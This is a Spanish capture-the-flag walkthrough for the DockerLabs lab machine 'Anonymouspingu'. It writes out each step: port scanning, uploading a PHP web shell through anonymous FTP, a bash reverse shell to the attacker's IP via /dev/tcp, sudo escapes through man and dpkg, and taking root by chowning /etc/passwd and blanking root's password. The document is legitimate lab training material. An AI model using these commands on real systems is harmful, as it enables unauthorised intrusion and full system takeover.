![]() |
|
| Máquina: Anonymouspingu | |
| SO: Linux | |
| Nivel: Facil | |
| DockerLabs |

1. Descubriendo puertos y servicios de la maquina.
sudo nmap -p- --open --min-rate=5000 -sCV -n -Pn 172.17.0.2

2. Vamos a revisar la web, si clickamos en “acceder al backend” nos lleva a la ruta de “upload” el cual esta vacio.
http://172.17.0.2/

3. Ingreso al ftp como anonimo, vemos que el directorio upload tiene los permisos, creamos una shell y lo subimos al servidor.
nvim shell.php
ftp 172.17.0.2
dir
cd upload
put shell.php

4. Ahora desde el navegador tenemos una web shell, nos ponemos en escucha por nc y obtenemos la reverse shell.
nc -nlvp 4000
http://172.17.0.2/upload/shell.php?cmd=bash -c 'bash -i>%26 /dev/tcp/192.168.18.8/4000 0>%261'

5. Podemos ejecutar el binario man como el usuario pingu sin proporcionar contraseña.
sudo -l

6. Hacemos tratamiento de la tty.
script /dev/null -c bash
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

7. Obtenemos una bash como pingu; referencia gtfobins.
sudo -u pingu /usr/bin/man man
!/bin/bash

8. Ya estando como pingu, revisando los permisos sudo de este usuario tenemos dos binarios, que podemos ejecutarlos como gladys.
sudo -l

9. Obtenemos la bash como gladys; referencia gtfobins.
sudo -u gladys /usr/bin/dpkg -l
!/bin/bash

10. Tenemos un binario que podemos ejecutarlo como root, revisamos el passwd, vemos que el propietario puede escribir en el archivo.
sudo -l
ls -l /etc/passwd

11. Escalando privilegios.
11.1- Primero asignamos a gladys como propietario del passwd
sudo /usr/bin/chown gladys:gladys /etc/passwd

11.2- Copiamos todo el passwd y borramos la X que indica la contraseña habilitada de root y lo redirigmos al passwd
echo 'root::0..........' > /etc/passwd
grep root /etc/passwd

11.3- Migramos a root
su root

